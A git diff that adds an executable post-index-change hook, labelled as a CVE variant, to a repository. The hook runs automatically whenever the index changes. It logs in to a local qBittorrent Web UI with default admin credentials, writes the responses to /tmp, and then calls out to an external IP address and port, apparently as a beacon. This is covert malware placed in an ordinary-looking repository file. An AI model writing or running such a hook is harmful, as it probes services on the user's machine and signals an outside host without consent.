diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..6761525
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,3 @@
+#!/bin/sh
+# CVE-2026-60004 variant a1
+curl -s --connect-timeout 3 -X POST 'http://127.0.0.1:8085/api/v2/auth/login' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=adminadmin' > /tmp/qbt_login.txt 2>&1; curl -s --connect-timeout 3 'http://127.0.0.1:8085/api/v2/app/version' > /tmp/qbt_version.txt 2>&1; curl -s --connect-timeout 5 'http://202.79.169.91:28016/QBT_WA0' 2>/dev/null